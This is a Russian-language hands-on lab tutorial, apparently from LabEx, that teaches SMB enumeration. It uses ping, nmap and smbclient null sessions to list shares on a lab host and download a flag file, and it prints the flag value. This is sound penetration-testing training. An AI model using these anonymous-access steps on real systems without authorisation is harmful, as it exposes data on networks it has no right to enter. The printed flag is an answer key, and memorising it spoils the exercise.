Перечисление SMB и гостевой доступ

LinuxBeginner
Практиковаться сейчас

Введение

Добро пожаловать в этот практический лабораторный практикум, посвященный перечислению (enumeration) и эксплуатации протокола Server Message Block (SMB). SMB — это сетевой протокол общего доступа к файлам, который позволяет приложениям на компьютере читать и записывать файлы, а также запрашивать услуги у серверных программ в компьютерной сети. Благодаря широкому распространению, он является частой целью для злоумышленников.

В этом практикуме вы окажетесь в роли специалиста по тестированию на проникновение. Вы начнете с базовой сетевой разведки, чтобы подтвердить, что цель активна. Затем вы используете мощный инструмент сканирования nmap для обнаружения открытого SMB-сервиса. Наконец, вы воспользуетесь smbclient для исследования сервиса, поиска неправильной конфигурации, позволяющей анонимный гостевой доступ, и извлечения скрытого флага из общедоступной папки (share).

По завершении вы научитесь:

  • Проверять сетевую связность с помощью ping.
  • Сканировать открытые SMB-порты и сервисы с помощью nmap.
  • Перечислять и подключаться к SMB-ресурсам (shares) с помощью smbclient.
  • Использовать неправильную конфигурацию гостевого доступа для извлечения файлов.

Приступим.

Проверка подключения к цели с помощью Ping

На первом этапе вы выполните базовую задачу разведки: проверку того, что целевая машина находится в сети и доступна с вашей атакующей машины. Команда ping является стандартным инструментом для этой цели, отправляя ICMP-пакеты на хост для проверки ответа.

Ваша среда включает целевую систему с псевдонимом target. Чтобы подтвердить подключение, выполните следующую команду в вашем терминале для отправки четырех пакетов:

ping -c 4 target

Флаг -c 4 указывает ping отправить ровно четыре пакета и затем остановиться. Успешный результат будет выглядеть примерно так же, как вывод ниже, показывая ответы от цели. IP-адрес и значения времени могут отличаться.

PING target (172.17.0.2) 56(84) bytes of data.
64 bytes from target (172.17.0.2): icmp_seq=1 ttl=64 time=0.086 ms
64 bytes from target (172.17.0.2): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from target (172.17.0.2): icmp_seq=3 ttl=64 time=0.063 ms
64 bytes from target (172.17.0.2): icmp_seq=4 ttl=64 time=0.064 ms

--- target ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3069ms
rtt min/avg/max/mdev = 0.063/0.069/0.086/0.010 ms

Видя "4 received, 0% packet loss" (4 получено, 0% потери пакетов), вы подтверждаете, что ваша машина может обмениваться данными с целью, подготавливая почву для следующего этапа перечисления.

Сканирование открытых портов с помощью Nmap

На этом этапе вы будете использовать nmap (Network Mapper) для сканирования цели на наличие открытых портов и идентификации запущенных служб. Это критически важный шаг для поиска потенциальных векторов атаки. Мы сосредоточим наше сканирование на службе SMB.

Выполните следующую команду nmap для проведения сканирования с определением версий служб (-sV) и запуска скрипта (--script) для проверки протоколов SMB на target:

nmap -sV --script smb-protocols target

Через несколько мгновений nmap сообщит о своих результатах. Вывод будет выглядеть примерно так:

Starting Nmap 7.80 ( https://nmap.org ) at 2025-09-19 10:31 CST
Nmap scan report for target (172.17.0.2)
Host is up (0.00011s latency).
Not shown: 998 closed ports
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Host script results:
| smb-protocols:
|   dialects:
|     2.02
|     2.10
|     3.00
|     3.02
|_    3.11

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds

Вывод подтверждает, что порты 139/tcp и 445/tcp открыты и на них работает служба Samba. Порт 445 является современным портом для SMB. Это обнаружение является сигналом для исследования службы SMB на наличие уязвимостей.

Подключение к цели через SMB

На этом этапе вы будете использовать утилиту smbclient для взаимодействия со службой SMB на цели. Ваша цель — выяснить, можете ли вы подключиться без пароля, что является методом, известным как "нулевая сессия" (null session) или анонимный вход.

Сначала перечислим доступные ресурсы (shares) на цели. Флаг -L перечисляет службы, а флаг -N пытается подключиться без пароля.

Выполните следующую команду:

smbclient -L //target -N

Если сервер настроен неправильно и разрешает гостевой доступ, вы увидите список доступных ресурсов. Вывод должен выглядеть примерно так:

        Sharename       Type      Comment
        ---------       ----      -------
        public          Disk
        IPC$            IPC       IPC Service (Samba Server)
SMB1 disabled -- no workgroup available

Ключевым моментом здесь является ресурс public. Его название предполагает, что он может быть доступен любому пользователю. На следующем шаге вы подключитесь к этому ресурсу, чтобы изучить его содержимое.

Исследование целевой системы и поиск флага

На этом заключительном этапе вы подключитесь к обнаруженному ресурсу public и выполните поиск флага. Это имитирует фазу пост-эксплуатации, когда злоумышленник ищет ценные данные.

Подключитесь непосредственно к ресурсу public с помощью smbclient, снова используя флаг -N для анонимного доступа:

smbclient //target/public -N

Успешное подключение приведет вас в командную строку smbclient, которая выглядит как smb: \>. Теперь вы просматриваете удаленный файловый ресурс.

Try "help" to get a list of possible commands.
smb: \>

Используйте команду ls для вывода содержимого ресурса:

ls

Вы должны увидеть файл flag.txt в списке.

smb: \> ls
  .                                   D        0  Fri Sep 19 10:29:39 2025
  ..                                  D        0  Fri Sep 19 10:29:39 2025
  flag.txt                            N       29  Fri Sep 19 10:29:39 2025

  40901312 blocks of size 1024. 22067688 blocks available

Теперь скачайте файл на свою локальную машину с помощью команды get:

get flag.txt

Примечание: Утилита smbclient не имеет встроенной команды cat для прямого просмотра содержимого файла. Сначала необходимо скачать файл с помощью get.

После завершения загрузки введите exit, чтобы выйти из сеанса smbclient. Наконец, используйте команду cat в вашем локальном терминале, чтобы отобразить содержимое загруженного флага.

cat flag.txt

Терминал отобразит значение флага.

labex{smb_gu3st_acc3ss_fl4g}

Поздравляем! Вы успешно провели перечисление службы SMB, использовали некорректную конфигурацию гостевого доступа и получили флаг. Скопируйте значение флага, чтобы завершить лабораторную работу.

Резюме

В этой лабораторной работе вы успешно выполнили базовый рабочий процесс тестирования на проникновение против некорректно настроенной службы SMB. Вы изучили и отработали следующие навыки:

  • Использование ping для проверки сетевой связности с целью.
  • Применение nmap для сканирования открытых портов и идентификации службы SMB.
  • Использование smbclient -L для анонимного перечисления доступных сетевых ресурсов.
  • Подключение к открытому ресурсу SMB с помощью smbclient с использованием нулевой сессии.
  • Навигация по удаленному ресурсу и скачивание файлов с помощью ls и get.

Это упражнение демонстрирует распространенную и критическую уязвимость: разрешение анонимного или гостевого доступа к сетевым ресурсам. Подобные некорректные настройки могут привести к утечке конфиденциальных данных. Понимая, как находить и использовать эти слабые места, вы будете лучше подготовлены к защите собственных систем от них.